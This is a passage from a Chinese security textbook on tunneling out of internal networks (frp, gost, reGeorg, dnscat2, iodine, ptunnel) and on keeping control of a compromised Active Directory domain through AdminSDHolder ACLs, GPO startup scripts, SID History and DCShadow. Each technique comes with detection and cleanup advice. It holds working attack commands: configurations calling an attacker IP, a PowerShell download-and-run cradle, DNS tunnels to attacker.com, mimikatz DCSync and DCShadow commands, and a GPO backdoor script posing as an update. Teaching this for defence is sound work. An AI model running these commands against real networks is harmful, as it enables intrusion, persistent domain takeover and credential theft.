bind_port = 7000
token = your_secret_token          # ★ 一定要设,否则会被别人蹭
dashboard_port = 7500
dashboard_user = admin
dashboard_pwd = admin
# 启动
./frps -c frps.ini

# ===== 客户端(frpc,在已控的内网机器上)=====
# frpc.ini
[common]
server_addr = 攻击者IP
server_port = 7000
token = your_secret_token

[socks5]
type = tcp
remote_port = 1080
plugin = socks5
# ★ 这样就在服务端开了 1080 端口,是通往内网的 SOCKS5 代理

[rdp-10.0.0.10]
type = tcp
local_ip = 10.0.0.10
local_port = 3389
remote_port = 13389
# 把内网 10.0.0.10 的 3389 映射到服务端的 13389

[web-10.0.0.20]
type = tcp
local_ip = 10.0.0.20
local_port = 80
remote_port = 10080

# 启动
./frpc -c frpc.ini

# ===== 使用 =====
proxychains nmap -sT 10.0.0.0/24
rdesktop 攻击者IP:13389
curl http://攻击者IP:10080

# ★ frp 在国内非常流行(因为文档是中文、配置简单),
#   所以它也是【检测的重点对象】。
#   防守方应该:
#     - 监控是否有 frpc/frps 进程
#     - 监控出站的长连接到非业务服务器
#     - 用 EDR 的行为检测(而不是特征)

③ gost(功能最全)

# gost 支持多种代理协议和链式转发

# 服务端
./gost -L=socks5://:1080

# 客户端(二级代理链)
./gost -L=:8080 -F=socks5://攻击者IP:1080

# 加密传输(防止流量被检测)
./gost -L=socks5://:1080 -F=http+tls://攻击者IP:443

# ★ gost 的优势:支持多种协议组合、支持链式、支持加密

④ EarthWorm / reGeorg(老牌工具)

# ===== EarthWorm(ew,国人写的老牌工具)=====
# 正向 SOCKS
./ew -s ssocksd -l 1080

# 反向 SOCKS
#   攻击者:./ew -s rcsocks -l 1080 -e 8888
#   目标  :./ew -s rssocks -d 攻击者IP -e 8888

# 多级级联
#   ./ew -s lcx_listen -l 1080 -e 8888
#   ./ew -s lcx_tran   -l 1080 -f 下一跳IP -g 8888
#   ./ew -s lcx_slave  -d 攻击者IP -e 8888 -f 内网目标 -g 3389

# ===== reGeorg / Neo-reGeorg(HTTP 隧道)=====
# ★ 特点:只需要能上传一个脚本文件(jsp/asp/aspx/php)到 Web 服务器,
#         就能通过这个 Web 服务器做 SOCKS 代理。
#   优势:流量看起来就是普通的 HTTP 请求,非常隐蔽

# ① 上传 tunnel.jsp / tunnel.aspx / tunnel.php 到目标 Web 服务器
# ② 本地连接
python3 reGeorgSocksProxy.py -p 1080 -u http://target/tunnel.jsp
# ③ 用代理
proxychains nmap -sT 10.0.0.0/24

# Neo-reGeorg(改进版,支持加密和更多特性)
python3 neoreg.py generate -k password          # 生成服务端脚本
# 上传生成的 tunnel.aspx 到目标
python3 neoreg.py -k password -u http://target/tunnel.aspx -p 1080

# 检测:
#   ① 在 Web 目录里找可疑的脚本文件(tunnel.jsp、aspx 等)
#   ② 监控 HTTP 请求:reGeorg 的请求有特定特征
#      (比如固定的 User-Agent、特定格式的 POST body)
#   ③ ★ Neo-reGeorg 加了加密,检测要靠行为:
#       - 同一个 URL 被高频访问
#       - 请求/响应大小异常(SOCKS 数据被塞在 HTTP body 里)

7.7.4 DNS 隧道(最隐蔽,绕过最严的出站限制)

【为什么 DNS 隧道能成】
  几乎任何网络都允许 DNS 查询(否则上不了网)。
  而且 DNS 是 UDP,很多防火墙对 DNS 的检查很松。

【原理】
  把数据编码进 DNS 查询的域名里:
    <base32编码的数据>.attacker.com
  攻击者的 DNS 服务器(NS 记录指向它)收到查询,
  解码出数据,然后把响应写进 DNS 应答(TXT 记录等)返回。

  ★ 数据流向:
    目标机器 → 本地 DNS → 递归查询 → 攻击者的权威 DNS 服务器
                                    ← 响应(携带指令)

【代价】
  - 慢(每个包只能带几十到几百字节,延迟高)
  - 噪音大(DNS 查询量暴增、域名长度异常)
  - 但【在只允许 DNS 出站的严格环境里,这是唯一的选择】
# ===== dnscat2 =====
# 服务端(攻击者)
ruby dnscat2.rb attacker.com -e open -c password --no-cache
# 或
dnscat2-server attacker.com --secret=password

# 客户端(目标机器)
dnscat --secret=password attacker.com
# 或 PowerShell 版
powershell -c "IEX (New-Object Net.WebClient).DownloadString('http://x/dnscat2.ps1'); Start-Dnscat2 -Domain attacker.com"

# 建立会话后
dnscat2> windows                    # 列出会话
dnscat2> session -i 1               # 进入会话
dnscat2> shell                      # 起一个 shell
dnscat2> exec whoami
dnscat2> download /etc/passwd

# ===== iodine(DNS 隧道做 VPN)=====
# 服务端
iodined -f -c -P password 10.1.1.1 attacker.com
# 客户端
iodine -f -P password attacker.com
# 建立一个 tun 设备,能承载任意 IP 流量


# ===== 检测 DNS 隧道(★ 防守方重点)=====

# 特征(这些都能在 DNS 日志里看到):
#   ① 域名长度异常长(正常域名一般 < 40 字符,DNS 隧道常 > 100)
#   ② 子域名是随机字符串(base32/base64 编码)
#   ③ 同一域名的查询频率异常高(每秒几十次)
#   ④ 查询类型异常(大量 TXT、NULL、CNAME 类型的查询)
#   ⑤ 请求/响应大小异常(DNS 响应包很大)
#   ⑥ 域名熵值高(随机字符串的熵比正常域名高很多)

# 检测方法:
#   ① 在 DNS 服务器上开启查询日志,分析域名长度分布和熵值
#   ② 用 Zeek/Bro 的 DNS 分析(它自带 DNS 隧道检测)
#   ③ 用 SIEM 规则:
#      "单个客户端在 1 分钟内查询超过 100 个不同子域名" → 告警
#      "域名长度 > 50 字符" → 告警
#      "TXT 记录查询占比异常" → 告警

# ★ 防御(根本):
#   ① 内网机器【不允许直接向外网 DNS 查询】——
#      只允许查询企业自己的 DNS 服务器(★ 最有效)
#   ② 企业 DNS 服务器只转发给指定的上游,不递归到任意服务器
#   ③ 用 DNS 过滤服务(比如 Cisco Umbrella)拦截已知恶意域名
#   ④ 监控 DNS 查询日志

7.7.5 ICMP 隧道(较少用,但值得一提)

# ===== PingTunnel(ptunnel)=====
# 原理:把 TCP 数据塞进 ICMP Echo Request 的 payload 里

# 服务端(攻击者)
ptunnel -x password
# 客户端(目标机器)
ptunnel -p 攻击者IP -lp 1080 -da 10.0.0.5 -dp 1433 -x password
#   -lp/-da/-dp : 本地监听 1080,转发到 10.0.0.5:1433

# 或做 SOCKS
ptunnel -p 攻击者IP -lp 1080 -x password

# ===== 为什么不太用 =====
#   ① 慢(ICMP payload 通常限制 64 字节)
#   ② 很多网络禁 ping
#   ③ 特征太明显(大量等长的 ICMP 包)

# ===== 检测 =====
#   ① ICMP 流量突然增大
#   ② ICMP payload 的大小异常(Windows 默认 ping 是 32/64 字节,
#      隧道的往往是固定大小且更大)
#   ③ ICMP 请求/响应的 payload 内容不是标准的(正常 ping 是可预测的填充)
#   ★ 防御:限制 ICMP 的大小和频率,或者监控 ICMP payload

7.7.6 隧道的检测与防御(防守方总结)

【检测方法(四个层次)】

① 【网络流量层】★ 最有效
   - 全流量采集或 NetFlow
   - 关注的异常:
     ★ 内网服务器主动外连(★ 最重要的一条!)
       正常的业务服务器【不应该主动连互联网】
       (Web 服务器要对外提供服务,但那是"入站";
        它主动"出站"连一个陌生 IP,几乎一定是隧道或 C2)
     ★ 长连接(几小时不断开的 TCP 连接)
     ★ 心跳特征(固定间隔的小包,比如每 60 秒一次)
     ★ 流量加密但证书是自签名的(TLS 指纹异常)
     ★ JA3/JA3S 指纹(可以识别 chisel/go 程序的 TLS 特征)

② 【主机层】
   - 进程:陌生的进程名、进程路径在 Temp 目录
   - 命令行:包含 "socks"、"proxy"、"chisel"、"frp"、"-R"、"-D" 等关键字
   - 网络连接:netstat 看到本机有到外部 IP 的 ESTABLISHED 连接
   - 端口:本机开了 1080/8080 等常见的代理端口
   - ★ Sysmon 3(网络连接)+ 规则"非浏览器进程发起到外部的高端口连接"

③ 【DNS 层】
   - 见 7.7.4 的检测部分

④ 【行为层】
   - 服务器在非工作时间有稳定的外连
   - 单台机器的出站流量突然增加
   - 出站流量的目标 IP 是境外/陌生的


【防御方法(三个层次)】

① 【出站白名单】★ 最有效,也最该做
   - 服务器网段【默认禁止访问互联网】
   - 只允许访问必要的:
     - 内部 DNS
     - WSUS/内部更新源
     - 内部 NTP
     - 业务必需的外部 API(精确到 IP 和端口)
   - 实现方式:
     - 防火墙的出站规则(推荐,边界上做)
     - Windows 防火墙的出站规则(主机上做,防御纵深)
     - 代理白名单(让所有出网都必须走正向代理,代理上做白名单)

   ★ 这一条能挡住 90% 的隧道和 C2。
     真实案例:很多公司的内网服务器是可以直接上外网的,
     这是巨大的风险敞口。

② 【网络分段】
   - 服务器之间按需互通
   - DMZ 不能主动访问内网(★ 关键规则)
   - 办公网和服务器网隔离

③ 【主机加固】
   - 禁用不必要的网络工具(但作用有限,攻击者会自带)
   - 主机防火墙(即使是内网的机器也要开)
   - EDR 的网络行为检测

★ 诚实的结论:
  隧道【很难完全防住】——只要允许任何出站流量,攻击者就能建隧道。
  所以重点不是"防住隧道",而是:
    ① 用出站白名单【大幅提高门槛】
    ② 用流量监控【能发现异常】
    ③ 前面几层的防御(不让攻击者拿到第一台机器)才是根本

7.8 域持久化(拿到域控之后,怎么“留下来”)

核心认知:

域持久化的可怕之处在于——
它【不在任何一台机器上】,所以【重装任何一台机器都清不掉】。

攻击者改了 AD 里的一个对象属性,
你重装域控?数据还在(其他域控会同步回来)。
你重置所有用户密码?他的后门是"权限",不是"密码"。
你删了他的账号?他的 ACL 后门让其他账号依然有特权。

★ 这就是为什么"域被攻陷后,重建往往比清理更可靠"。

7.8.1 AdminSDHolder 与 ACL 持久化(★ 最隐蔽)

① 原理(讲透)

【AdminSDHolder 是什么】
  AD 里有一个特殊对象:
    CN=AdminSDHolder,CN=System,DC=corp,DC=local

  它的作用是"受保护账号的权限模板"。
  系统每隔 60 分钟(默认)会执行一次 SDProp 任务:
    把所有"受保护账号"(Domain Admins、Enterprise Admins、
    Schema Admins、Administrators、krbtgt 等的成员)
    的 ACL,【重置成 AdminSDHolder 的 ACL】。

  设计初衷:防止有人偷偷改了域管的权限。

【攻击者的利用】★
  如果我能改 AdminSDHolder 的 ACL,
  在里面加一条"允许 我的账号 完全控制",
  那么 60 分钟后,SDProp 会把这条 ACL
  【自动应用到所有受保护账号上】——
  包括 Domain Admins、Administrator、krbtgt!

  ★ 结果:
    - 我(一个普通账号)对所有域管账号有完全控制权
    - 我可以随时把自己加进 Domain Admins
    - 就算管理员发现并移除了我的权限,
      60 分钟后它【又回来了】(因为 SDProp 会重新应用)
    - ★ 这是【自愈型后门】,极难清除

  ★ 清除方法:
    必须先把 AdminSDHolder 的 ACL 改回来,
    然后等 SDProp 跑一轮,
    再手动清理各个账号上的残留 ACE。

生活类比:

公司有个"高管权限模板"(AdminSDHolder),
HR 每小时会把所有高管的权限【按这个模板重置一遍】
(SDProp 任务)。

攻击者偷偷改了这个模板,在里面加了一行:
"实习生小张也有全部权限"。

一小时后,HR 按模板重置,
于是所有高管(包括 CEO)的权限表里都多了"小张可以完全控制"。
管理员发现了,手动删掉 CEO 权限表里的小张。
再过一小时,HR 又重置,小张又回来了。

★ 唯一解法:改回模板本身。

② 实战

# ===== 添加后门 ACL =====

# ① PowerView(PowerSploit 模块)
Import-Module .\PowerView.ps1

# 给指定用户添加对 AdminSDHolder 的 GenericAll 权限
Add-ObjectAcl -TargetDistinguishedName "CN=AdminSDHolder,CN=System,DC=corp,DC=local" `
              -PrincipalSamAccountName "hacker" `
              -Rights All

# 或者用更精确的权限
Add-ObjectAcl -TargetDistinguishedName "CN=AdminSDHolder,CN=System,DC=corp,DC=local" `
              -PrincipalSamAccountName "hacker" `
              -Rights ResetPassword, WriteMembers

# ② 原生 PowerShell(.NET 方式,不需要 PowerView)
$AdminSDHolder = "AD:\CN=AdminSDHolder,CN=System,DC=corp,DC=local"
$user = Get-ADUser hacker
$acl = Get-Acl $AdminSDHolder
$sid = New-Object System.Security.Principal.SecurityIdentifier $user.SID

# 创建一个允许 GenericAll 的 ACE
$ace = New-Object System.DirectoryServices.ActiveDirectoryAccessRule(
    $sid,
    [System.DirectoryServices.ActiveDirectoryRights]::GenericAll,
    [System.Security.AccessControl.AccessControlType]::Allow
)
$acl.AddAccessRule($ace)
Set-Acl -Path $AdminSDHolder -AclObject $acl

Write-Host "[+] 后门 ACL 已添加,60 分钟内生效"

# ③ 立即触发 SDProp(不用等 60 分钟)
#    方法:修改 AdminSDHolder 的 dSCorePropagationData 属性
#    或者用 PowerShell 直接调用(需要域管权限)
#    最简单的方法:在域控上用 ldp.exe 或 ADUC 手动改一下 AdminSDHolder
#    或者用 PowerView 的:
Invoke-SDPropagator -TimeoutMinutes 1


# ===== 使用(等 SDProp 跑完后)=====
# 现在 hacker 对所有受保护账号有 GenericAll,可以:

# ① 重置域管密码(不用知道原密码)
Set-ADAccountPassword -Identity administrator -Reset `
    -NewPassword (ConvertTo-SecureString -AsPlainText "P@ssw0rd123" -Force)

# ② 把自己加进 Domain Admins
Add-ADGroupMember -Identity "Domain Admins" -Members hacker

# ③ DCSync(因为对域对象有权限)
mimikatz # lsadump::dcsync /domain:corp.local /all /csv


# ===== 检测 =====

# ① 检查 AdminSDHolder 的 ACL(★ 应该只有系统默认的几条)
$acl = Get-Acl "AD:\CN=AdminSDHolder,CN=System,DC=corp,DC=local"
$acl.Access | Format-Table IdentityReference, ActiveDirectoryRights, AccessControlType -AutoSize

# ★ 正常的 AdminSDHolder ACL 应该包含:
#   - SYSTEM (GenericAll)
#   - Domain Admins (GenericAll)
#   - Enterprise Admins (GenericAll)
#   - Administrators (GenericAll)
#   - SELF(部分权限)
#   - Enterprise Domain Controllers(部分权限)
#
# ★ 任何【额外的、非默认的】ACE 都要警惕!

# ② 对比基线(★ 最可靠)
#   在新装域的时候导出一份基线,之后定期比对
$acl.Access | Export-Csv -NoTypeInformation C:\baseline\adminsdholder_acl.csv

# ③ 监控 Event 5136(目录对象被修改)
#    关注:ObjectDN 包含 "AdminSDHolder"
Get-WinEvent -FilterHashtable @{ LogName='Security'; Id=5136 } -MaxEvents 1000 |
    Where-Object { $_.Message -match "AdminSDHolder" } |
    Select-Object TimeCreated, Message

# ④ 用 BloodHound 检查
#    查询:"哪些用户对受保护组有 GenericAll/WriteDacl"

③ 其他 ACL 后门位置

除了 AdminSDHolder,还可以在这些地方下 ACL 后门:

① 【域根对象】
   给域根加一条"允许 hacker 有 GenericAll"
   →  hacker 能操作域里所有对象(包括加用户、改组)

② 【GPO 对象】
   给某个应用到"所有机器"的 GPO 加写权限
   → hacker 能改 GPO 下发脚本 = 全域执行代码

③ 【域控的计算机对象】
   给 DC01$ 加写权限或 RBCD
   → 能拿下域控(见 7.5.5)

④ 【特定管理员账号】
   给 administrator 加"ForceChangePassword"权限
   → 随时重置域管密码

⑤ 【组对象】
   给 Domain Admins 加 WriteMembers(或 AddMember)权限
   → 随时把自己加进去

⑥ 【Exchange / ADCS 对象】
   - Exchange 的"Send As"权限
   - ADCS 的证书模板(ESC 系列漏洞)
   ★ 如果域里装了 Exchange 或 AD CS,这两个是巨大的攻击面

7.8.2 GPO 滥用(全域执行代码)

前面 6.5.5 讲过 SYSVOL 和 cpassword。这里从“攻击者主动部署后门”的角度讲。

# ===== 场景:攻击者已经是域管,想"改一次,全域生效" =====

# ===== 方法一:修改已有 GPO 的脚本(★ 最隐蔽,因为 GPO 是"正常"的)=====

# ① 找一个应用到所有机器的 GPO
Get-GPO -All | Where-Object { $_.GpoStatus -eq "AllSettingsEnabled" } |
    Select-Object DisplayName, Id, ModificationTime

# ② 找到它的 SYSVOL 目录
#    路径:\\corp.local\SYSVOL\corp.local\Policies\{GPO-ID}\Machine\Scripts\
#    也可以本地:C:\Windows\SYSVOL\domain\Policies\{GPO-ID}\Machine\Scripts\

$gpoId = "{31B2F340-016D-11D2-945F-00C04FB984F9}"
$startupDir = "C:\Windows\SYSVOL\domain\Policies\$gpoId\Machine\Scripts\Startup"

# ③ 放一个后门脚本
Set-Content -Path "$startupDir\update.ps1" -Value @'
# 伪装成正常的系统更新脚本
# 实际:每分钟检查一次 C2,或者建一个后门账号
Start-Process -WindowStyle Hidden -FilePath "powershell.exe" -ArgumentList "-nop -w hidden -enc <Base64>"
'@

# ④ 修改 scripts.ini(开机脚本的配置)
Set-Content -Path "$startupDir\..\scripts.ini" -Value @"
[Startup]
0CmdLine=update.ps1
0Parameters=
"@

# ⑤ 等组策略刷新(默认 90 分钟)或强制:
gpupdate /force
# 或者远程对所有机器:
Invoke-Command -ComputerName (Get-ADComputer -Filter *).Name -ScriptBlock { gpupdate /force }

# ★ 结果:所有域内机器开机时都会以 SYSTEM 执行你的脚本


# ===== 方法二:创建新的 GPO(更明显,但更可控)=====

# ① 创建 GPO
New-GPO -Name "Windows Defender Baseline" | New-GPLink -Target "DC=corp,DC=local"

# ② 配置"立即任务"(Scheduled Tasks)—— ★ 不用等重启
#    在 GPO 编辑器里:
#    计算机配置 → 首选项 → 控制面板设置 → 计划任务
#    → 新建"立即任务(Windows Vista及更高版本)"
#    → 触发器:一次性/每天
#    → 操作:启动程序 powershell.exe -enc <Base64>
#    → 运行身份:NT AUTHORITY\System

# ③ 或者配置"启动脚本"
#    计算机配置 → Windows 设置 → 脚本(启动/关机) → 启动

# ④ 或者配置"本地用户和组"(★ 加后门账号)
#    计算机配置 → 首选项 → 控制面板设置 → 本地用户和组
#    → 新建本地用户,加入 Administrators
#    ★ 注意:这会以 cpassword 的形式存在 Groups.xml 里(可被解密)
#      所以现在的攻击者一般不用这个(会留下证据)


# ===== 方法三:修改 GPO 的安全性设置(降低防御)=====
# 通过 GPO 关掉安全功能:
#   - 关闭 Windows Defender
#   - 关闭防火墙
#   - 禁用 UAC
#   - 添加杀软排除项
#   ★ 这是勒索软件团伙的标准操作

# 关闭 Defender(GPO 路径)
#   计算机配置 → 管理模板 → Windows 组件 → Microsoft Defender 防病毒
#   → "关闭 Microsoft Defender 防病毒" = 已启用
#   → "排除项" 里加上 C:\Windows\Temp、C:\ProgramData 等


# ===== 检测 GPO 后门(★ 防守方)=====

# ① 列出所有 GPO 及其修改时间(★ 关注最近被改的)
Get-GPO -All | Select-Object DisplayName, ModificationTime, GpoStatus |
    Sort-Object ModificationTime -Descending

# ② 检查 SYSVOL 里的脚本文件(★ 逐一审查)
Get-ChildItem "C:\Windows\SYSVOL\domain\Policies" -Recurse -Include *.ps1,*.bat,*.vbs,*.cmd |
    Select-Object FullName, LastWriteTime, Length |
    Sort-Object LastWriteTime -Descending

# ③ 检查 scripts.ini
Get-ChildItem "C:\Windows\SYSVOL\domain\Policies" -Recurse -Filter "scripts.ini" |
    ForEach-Object {
        Write-Host "=== $($_.FullName) ===" -ForegroundColor Cyan
        Get-Content $_.FullName
    }

# ④ 监控 GPO 的修改(Event 5136)
Get-WinEvent -FilterHashtable @{ LogName='Security'; Id=5136 } -MaxEvents 500 |
    Where-Object { $_.Message -match "groupPolicyContainer|Policies" } |
    Select-Object TimeCreated, @{n='Who';e={$_.UserId}}, Message

# ⑤ 定期备份 GPO 并 diff(★ 最可靠)
Backup-GPO -All -Path C:\GPOBackup\$(Get-Date -Format yyyyMMdd)
# 然后用 diff 工具比对两次备份的差异

# ⑥ 限制谁能编辑 GPO
#    默认是:Domain Admins、Enterprise Admins、
#           Group Policy Creator Owners、SYSTEM
#    ★ 检查有没有多余的:
(Get-Acl "AD:\CN=Policies,CN=System,DC=corp,DC=local").Access |
    Select-Object IdentityReference, ActiveDirectoryRights

7.8.3 SID History 与域 trust 后门

① SID History

【是什么】
  用户的 userSIDHistory 属性,设计用于"域迁移"——
  用户从域 A 迁到域 B 时,把域 A 的 SID 保留下来,
  这样他还能访问域 A 的资源。

【攻击利用】★
  如果我能往某个账号的 SID History 里【塞进一个高权限的 SID】
  (比如 Enterprise Admins 的 SID,或者"不存在的域"的高权限 SID),
  那么这个账号在【权限检查时】就会被认为属于那个组!

  ★ 效果:
    一个普通域用户 → 有 Enterprise Admins 的权限

  ★ 为什么要塞"不存在的域"的 SID?
    微软有个缓解:"同一林内"的 SID History 在权限评估时会被过滤
    (sidFiltering,只在跨林的信任上默认开启)。
    但如果 SID 来自【林外的一个不存在的域】,
    系统没法验证,就会【直接采信】。
    ★ 这叫 "SID History Injection" 或 "Mimikatz SID::add"

  ★ 需要什么权限:
    - 对目标用户对象有写权限;或者
    - 域管权限(可以修改 SID History 需要 Domain Admin,
      因为它是受保护属性,需要用 mimikatz 的 sid::add 绕过)

  ★ 日志特征:Event 4765(SID History 被添加到账号)
# ===== 利用(mimikatz)=====
mimikatz # privilege::debug
mimikatz # sid::lookup /name:Administrator
# 得到 Administrator 的 SID

mimikatz # sid::patch                     # 打补丁(让可以修改 SID History)
mimikatz # sid::add /sam:hacker /new:Administrator   # 把 Administrator 的 SID 加给 hacker
# 或者
mimikatz # sid::add /sam:hacker /new:S-1-5-21-<虚假域SID>-519   # Enterprise Admins 的 SID

# 验证
mimikatz # sid::query /sam:hacker

# ★ 现在 hacker 登录后会获得 Administrator 的权限
#   (注意:要重新登录或 klist purge 才生效)

# 用 PowerView 的方式(需要域管 + 写权限)
Get-DomainUser hacker | Set-DomainObject -Set @{ 'sidhistory' = 'S-1-5-21-...-519' }


# ===== 检测 =====
# ① Event 4765(SID History 添加到账号)★ 关键
Get-WinEvent -FilterHashtable @{ LogName='Security'; Id=4765 } -MaxEvents 100

# ② 检查哪些账号有 SID History(正常迁移后应该是空的)
Get-ADUser -Filter {SIDHistory -ne "$null"} -Properties SIDHistory |
    Select-Object SamAccountName, SIDHistory
Get-ADGroup -Filter {SIDHistory -ne "$null"} -Properties SIDHistory

# ③ 检查 SID History 里的 SID 是不是"本林的域"
#    ★ 如果是来自未知/不存在的域,就是攻击
Get-ADUser -Filter {SIDHistory -ne "$null"} -Properties SIDHistory |
    ForEach-Object {
        $_.SIDHistory | ForEach-Object {
            $domainSid = ($_.Value -split '-')[0..6] -join '-'
            # 检查这个域 SID 是不是本林的
            if ($domainSid -notin (Get-ADForest).Domains) {
                Write-Warning "★ $($_.SamAccountName) 有可疑 SID: $_"
            }
        }
    }

# ④ 开启 SID Filtering(跨林信任上默认开,林内不开)
netdom trust corp.local /domain:other.local /enforceSIDhistory:yes
# ★ 注意:这会阻止合法的 SID History 使用,迁移场景要注意


# ===== 防御 =====
#   ① 定期审计 SID History(正常应该是空的,除非正在做域迁移)
#   ② 监控 Event 4765
#   ③ 跨林信任开启 SID Filtering
#   ④ 保护受保护属性(SID History 是受保护属性,普通管理员改不了)

② 域信任后门(多域/多林环境)

【场景】
  企业有多个域(corp.local 和 dev.local),或者有信任关系(和外部合作伙伴)。
  信任关系意味着"域 A 的用户可以访问域 B 的资源"。

【攻击利用】
  ① 【信任关系的 ACL 滥用】
     如果能改信任对象的属性,就能:
       - 开启 SID History(/enforceSIDhistory:no)
       - 改信任方向
  ② 【跨域组的成员】
     域 B 的一个组被加进了域 A 的 Domain Admins
     → 控制域 B 的那个组 = 控制域 A
     ★ BloodHound 查询:Find Users with Foreign Domain Group Membership
  ③ 【Golden Ticket 跨域】
     拿到根域的 krbtgt,就能造一张"整个林"都认的票
     (因为 Enterprise Admins 的 SID 可以写进 PAC)

【检测】
  ① 列出所有信任关系,检查方向和属性
     Get-ADTrust -Filter * | Select-Object Name, Direction, TrustType, TrustAttributes
  ② 检查跨域组的成员
  ③ 监控信任对象的修改(Event 5136)

7.8.4 DCShadow(最“魔法”的持久化)

【原理(讲透)】

  DCSync 是"从域控【读】数据"(伪装成域控去要)。
  DCShadow 是反过来:"伪装成域控去【写】数据"。

  攻击者:
    ① 在域里【注册一个新的域控对象】(临时,需要域管权限)
    ② 用这个"假域控"的身份,向真域控发起【域复制】
    ③ 在复制的数据里夹带【修改】(比如改某个用户的属性、
       加一条 ACL、改 AD 架构)
    ④ 真域控收到后,"合法地"应用这些修改
    ⑤ 删除假的域控对象

  ★ 为什么难检测:
    这些修改的日志上记录的是"域复制",
    看起来就是正常的域控间同步。
    而且修改的是 AD 的【原始对象】,不需要在域控上执行任何代码。

【能做什么】
  - 修改任何 AD 对象(用户、组、计算机、GPO)
  - 添加 ACL 后门
  - 修改 AD 架构(加属性)
  - 修改安全描述符
  - ★ 最难被清除:因为它改的是 AD 数据库本身

【实战(mimikatz)】
  # 需要两个进程配合(一个"推送"、一个"接收")

  # 进程 1(以 SYSTEM 或域管身份):注册假域控并推送修改
  mimikatz # !+
  mimikatz # !processtoken
  mimikatz # lsadump::dcshadow /object:CN=hacker,CN=Users,DC=corp,DC=local /attribute:primaryGroupID /value:512
  #   /object    : 要修改的对象
  #   /attribute : 要修改的属性
  #   /value     : 新值
  #   上面这条 = 把 hacker 的 primaryGroupID 改成 512(Domain Admins 的 RID)

  # 进程 2(同时运行):触发复制
  mimikatz # lsadump::dcshadow /push

  # 更实用的:改用户的 userAccountControl(比如启用一个禁用的账号)
  mimikatz # lsadump::dcshadow /object:CN=Guest,CN=Users,DC=corp,DC=local /attribute:userAccountControl /value:512

【检测】
  ① Event 4662(目录服务访问)+ 异常的对象类型
  ② Event 4741(计算机账号创建)+ 4742(修改)+ 4743(删除)
     ★ 一个计算机账号被创建后【很快又被删除】,高度可疑!
     ★ 而且这个计算机账号的 userAccountControl 包含 SERVER_TRUST_ACCOUNT
  ③ Event 4928/4929(AD 复制的源/目标变更)
  ④ ★ 最有效:监控"非域控机器发起了域复制相关的操作"
  ⑤ 检查 AD 里是否有过"短暂存在的域控对象"(审计日志回溯)

【防御】
  - 严格限制谁能创建/修改域控对象
  - 监控 Event 4741/4742/4743 的异常模式
  - 监控来自非域控 IP 的 DRSUAPI 调用

7.8.5 其他域持久化手法速览

手法 一句话 检测 清除难度
黄金票据 用 krbtgt 的 Hash 造票 无直接检测(重置 krbtgt 后暴露) ★★★★★(必须重置 krbtgt 两次)
后门账号(加入 DA) 建账号加进 Domain Admins Event 4720 + 4728/4732 ★☆☆☆☆(删账号即可)
隐藏账号($ 后缀) 账号名带 $,net user 看不到 对比 AD 查询和 net user ★☆☆☆☆
AdminSDHolder ACL 改模板,60 分钟自动应用到所有特权账号 检查 AdminSDHolder 的 ACL ★★★★★(自愈,必须改回模板)
GPO 后门 修改组策略下发脚本 检查 SYSVOL 和 GPO 修改日志 ★★★☆☆(删脚本 + 检查所有 GPO)
SID History 塞高权限 SID 进普通账号 Event 4765 + 审计 SIDHistory 属性 ★★★☆☆
DCSync 权限委派 给某账号配复制权限 检查域根 ACL ★★☆☆☆(删掉该 ACE)
RBCD 后门 在某机器上配“某账号可代表任何人访问我” 检查 msDS-AllowedToActOnBehalfOfOtherIdentity ★★★☆☆
证书模板后门(ADCS) 改证书模板让低权限账号能申请“域管证书” 检查证书模板配置 ★★★★☆
DCShadow 伪装域控写 AD Event 4741/4742/4743 异常模式 ★★★★★
域控上的服务/计划任务 直接在域控上留后门 常规持久化检查 ★★☆☆☆
Exchange 后门 在 Exchange 上留 Webshell/OWA 后门 检查 Exchange 服务器 ★★★★☆

7.8.6 域持久化的清除(防守方视角)

【核心认知】
  ★ 域被攻陷到"有持久化后门"的程度,【重建通常比清理更可靠】。

  原因:
    ① 你不知道攻击者做了几种持久化(上面列了 12 种,还有更多)
    ② 有些后门会自愈(AdminSDHolder)
    ③ 有些后门很难检测(黄金票据、DCShadow)
    ④ 你用的工具本身可能已被污染

【如果必须清理,按这个顺序】

  ① 【先隔离,但别急着改任何东西】
     - 断掉可疑的 C2 连接
     - 但【不要】立刻重置密码、删除账号
       (会打草惊蛇,而且可能破坏取证)
     - 先做取证:导出 AD 备份、导出关键日志

  ② 【备份当前状态】
     ntdsutil → 导出 NTDS.dit(用于事后对比)
     导出所有 GPO
     导出所有日志

  ③ 【按顺序清理】

     a) 【重置 krbtgt】(★ 第一个做,作废所有黄金票据)
        - 重置两次,间隔 10~24 小时
        - ★ 这一步必须在【清理其他后门之前或同时】做,
          否则攻击者可以用黄金票据重新进来

     b) 【清理 AdminSDHolder】(★ 自愈型,必须先清)
        - 检查并删除非默认的 ACE
        - 等 SDProp 跑一轮(60 分钟)
        - 然后检查所有受保护账号的 ACL 是否已经恢复

     c) 【清理 DCSync 权限】
        - 检查域根 ACL 里的 DS-Replication-* 权限
        - 删掉不该有的

     d) 【清理 SID History】
        - 找出所有有 SID History 的账号
        - 删掉不该有的

     e) 【清理 GPO】
        - 检查所有 GPO 的脚本、立即任务、安全设置
        - 检查 SYSVOL 里的所有文件
        - 与备份对比

     f) 【清理账号】
        - 审计 Domain Admins / Enterprise Admins / Schema Admins
        - 找出并删除后门账号(包括隐藏账号)
        - ★ 重置【所有】特权账号的密码

     g) 【清理 RBCD 和委派】
        - 检查所有的委派配置
        - 删掉不该有的

     h) 【清理证书服务】(如果装了 AD CS)
        - 检查所有证书模板
        - 吊销可疑证书

     i) 【重置所有机器账号密码】
        - 因为机器账号的 Hash 可能已被用于造白银票据
        Reset-ComputerMachinePassword(批量)

     j) 【重置 krbtgt 第二次】

  ④ 【验证】
     - 再用 BloodHound 跑一遍,看有没有残留的短路径
     - 检查所有审计点是否干净
     - ★ 建议请外部团队做一次验证

  ⑤ 【加固 + 监控】
     - 修掉入侵路径的漏洞
     - 加强监控(尤其是 AD 对象的变更)
     - 部署蜜标账号

【现实建议】
  如果域规模不大(< 1000 用户)且业务允许,
  【重建域】往往比"清理"更快、更可靠、也更让人放心。
  重建流程:
    ① 建一个全新的林和域(新的域名或用原域名但全新安装)
    ② 重建所有用户(密码全部重置)
    ③ 所有机器重新加域
    ④ 应用从备份恢复(确认备份是入侵前的)
    ⑤ 重新建立所有权限和 GPO
  ★ 代价大,但"干净"的价值更高。

7.9 综合实战:从一台办公机到整个域沦陷

这是一个完整的真实感案例。我会按“时间线 + 每一步在做什么 + 为什么这么做 + 防守方哪里失守了”的结构来写。

7.9.1 场景设定

目标公司:某制造企业,约 800 人
网络结构:
  办公网:172.16.0.0/16(员工的 PC)
  生产网:10.10.0.0/16(ERP、MES、数据库)
